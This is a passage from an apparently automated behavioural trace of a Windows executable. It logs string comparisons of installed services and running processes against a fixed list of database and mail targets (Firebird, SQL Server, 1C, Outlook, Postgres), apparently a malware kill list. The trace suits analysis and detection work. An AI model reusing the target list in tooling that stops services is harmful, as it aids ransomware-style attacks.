lpString2="DPS") returned 1 [0117.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0117.526] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0117.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0117.526] lstrlenW (lpString="eventlog") returned 8 [0117.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0117.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0117.526] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0117.526] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0117.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0117.526] lstrlenW (lpString="EventSystem") returned 11 [0117.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0117.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0117.526] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0117.526] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0117.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0117.526] lstrlenW (lpString="FontCache") returned 9 [0117.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0117.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0117.527] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0117.527] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0117.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0117.527] lstrlenW (lpString="gpsvc") returned 5 [0117.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0117.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0117.527] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0117.527] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0117.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0117.527] lstrlenW (lpString="iphlpsvc") returned 8 [0117.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0117.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0117.527] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0117.527] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0117.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0117.527] lstrlenW (lpString="LanmanServer") returned 12 [0117.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0117.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0117.527] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0117.527] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0117.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0117.527] lstrlenW (lpString="LanmanWorkstation") returned 17 [0117.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0117.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0117.527] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0117.527] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0117.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0117.527] lstrlenW (lpString="lmhosts") returned 7 [0117.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0117.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0117.527] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0117.527] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0117.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0117.528] lstrlenW (lpString="MMCSS") returned 5 [0117.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0117.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0117.528] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0117.528] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0117.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0117.528] lstrlenW (lpString="MpsSvc") returned 6 [0117.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0117.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0117.528] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0117.528] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0117.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0117.528] lstrlenW (lpString="Netman") returned 6 [0117.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0117.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0117.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0117.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0117.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0117.528] lstrlenW (lpString="netprofm") returned 8 [0117.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0117.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0117.528] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0117.528] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0117.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0117.528] lstrlenW (lpString="NlaSvc") returned 6 [0117.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0117.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0117.528] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0117.528] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0117.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0117.528] lstrlenW (lpString="nsi") returned 3 [0117.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0117.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0117.528] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0117.529] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0117.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0117.529] lstrlenW (lpString="PcaSvc") returned 6 [0117.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0117.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0117.529] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0117.529] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0117.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0117.529] lstrlenW (lpString="PlugPlay") returned 8 [0117.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0117.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0117.529] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0117.529] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0117.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0117.529] lstrlenW (lpString="Power") returned 5 [0117.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0117.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0117.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0117.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0117.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0117.529] lstrlenW (lpString="ProfSvc") returned 7 [0117.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0117.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0117.529] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0117.529] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0117.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0117.529] lstrlenW (lpString="RpcEptMapper") returned 12 [0117.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0117.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0117.529] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0117.529] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0117.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0117.529] lstrlenW (lpString="RpcSs") returned 5 [0117.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0117.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0117.529] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0117.530] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0117.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0117.530] lstrlenW (lpString="SamSs") returned 5 [0117.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0117.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0117.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0117.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0117.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0117.530] lstrlenW (lpString="Schedule") returned 8 [0117.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0117.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0117.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0117.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0117.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0117.530] lstrlenW (lpString="SENS") returned 4 [0117.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0117.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0117.530] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0117.530] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0117.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0117.530] lstrlenW (lpString="ShellHWDetection") returned 16 [0117.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0117.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0117.530] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0117.530] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0117.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0117.530] lstrlenW (lpString="Spooler") returned 7 [0117.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0117.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0117.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0117.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0117.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0117.530] lstrlenW (lpString="sppsvc") returned 6 [0117.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0117.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0117.531] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0117.531] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0117.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0117.531] lstrlenW (lpString="SysMain") returned 7 [0117.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0117.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0117.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0117.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0117.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0117.531] lstrlenW (lpString="Themes") returned 6 [0117.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0117.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0117.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0117.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0117.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0117.531] lstrlenW (lpString="TrkWks") returned 6 [0117.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0117.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0117.531] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0117.531] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0117.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0117.531] lstrlenW (lpString="UxSms") returned 5 [0117.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0117.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0117.531] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0117.531] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0117.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0117.531] lstrlenW (lpString="VSS") returned 3 [0117.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0117.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0117.531] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0117.531] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0117.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0117.531] lstrlenW (lpString="W32Time") returned 7 [0117.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0117.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0117.531] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0117.532] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0117.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0117.532] lstrlenW (lpString="WdiServiceHost") returned 14 [0117.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0117.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0117.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0117.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0117.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0117.532] lstrlenW (lpString="WdiSystemHost") returned 13 [0117.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0117.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0117.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0117.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0117.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0117.532] lstrlenW (lpString="WinDefend") returned 9 [0117.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0117.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0117.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0117.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0117.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0117.532] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0117.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0117.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0117.532] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0117.532] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0117.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0117.532] lstrlenW (lpString="Winmgmt") returned 7 [0117.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0117.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0117.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0117.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0117.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0117.532] lstrlenW (lpString="wscsvc") returned 6 [0117.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0117.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0117.532] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0117.533] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0117.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0117.533] lstrlenW (lpString="wuauserv") returned 8 [0117.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0117.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0117.533] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0117.533] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0117.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0117.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0117.535] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.536] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.537] lstrlenW (lpString="System") returned 6 [0117.537] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0117.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0117.537] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0117.537] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0117.537] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.538] lstrlenW (lpString="smss.exe") returned 8 [0117.538] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.538] lstrlenW (lpString="csrss.exe") returned 9 [0117.538] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.539] lstrlenW (lpString="wininit.exe") returned 11 [0117.539] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.540] lstrlenW (lpString="csrss.exe") returned 9 [0117.540] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.540] lstrlenW (lpString="winlogon.exe") returned 12 [0117.540] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.541] lstrlenW (lpString="services.exe") returned 12 [0117.541] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.542] lstrlenW (lpString="lsass.exe") returned 9 [0117.542] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0117.543] lstrlenW (lpString="lsm.exe") returned 7 [0117.543] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.543] lstrlenW (lpString="svchost.exe") returned 11 [0117.543] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.544] lstrlenW (lpString="svchost.exe") returned 11 [0117.544] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.545] lstrlenW (lpString="svchost.exe") returned 11 [0117.545] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.546] lstrlenW (lpString="svchost.exe") returned 11 [0117.546] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.546] lstrlenW (lpString="svchost.exe") returned 11 [0117.546] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.547] lstrlenW (lpString="audiodg.exe") returned 11 [0117.547] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.548] lstrlenW (lpString="svchost.exe") returned 11 [0117.548] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.549] lstrlenW (lpString="svchost.exe") returned 11 [0117.549] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.549] lstrlenW (lpString="dwm.exe") returned 7 [0117.550] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.550] lstrlenW (lpString="explorer.exe") returned 12 [0117.550] Process32NextW (in: hSnapshot=0x1c0, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.551] 